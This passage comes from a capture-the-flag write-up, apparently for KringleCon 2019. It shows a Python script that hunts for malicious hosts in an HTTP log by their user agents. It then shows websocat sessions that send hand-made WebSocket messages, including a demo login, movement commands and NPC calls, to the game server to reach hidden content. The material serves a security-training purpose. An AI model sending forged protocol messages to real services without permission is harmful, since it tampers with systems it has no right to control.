            bad_hosts[obj["id.orig_h"]] = obj["user_agent"]

    return bad_hosts


def main():
    with open("http.log", "r") as logf:
        my_json = json.load(logf)

    ua_dict, bad_ua_dict, bad_hosts = search_json(my_json)
    final_bad_ua = find_doubles(bad_ua_dict, ua_dict)
    bad_hosts = ua_pivot(my_json, bad_hosts, final_bad_ua)

    # Plus the original attacker (whose UA violates the =2 rule)
    bad_hosts[
        "42.103.246.130"
    ] = "don't care, but we did find it based on it's history via UA manually"

    print(", ".join(bad_hosts))


if __name__ == "__main__":
    main()

We tried out websocat for interacting with the game. For example, to chat with a character:

websocat wss://2019.kringlecon.com/ws | grep PSSST
{"type":"WS_LOGIN","usernameOrEmail":"demo","password":"myvoice"}
{"type":"HELLO_ENTITY","entityType":"npc","id":"krampus-netwars"}
{"type":"PSSST","whisper":{"2407823":{"cid":2407823,"uid":"krampus-netwars","username":"Krampus",
 "type":2,"avatar":"npc","ts":1578968239943,
 "text":"..."}},
"recipient":{"uid":"192","username":"demo","type":1}}

You can also move around, with something like {"type":"MOVE_USER","loc":{"16647":[4,0]},"areaId":"sleighshop"}.

Jason was hanging out among quite literally a huge pile of teeth in the Bell Tower:

By playing around with the WebSocket messages {"type":"HELLO_ENTITY","entityType":"npc","id":"plant"}, we were able to find Jason a second time!

As usual, we kept a draft of the map on the whiteboard in our "War Room." This year however, we decided to take a 3D direction (using Sketchup) for detailing the map of campus.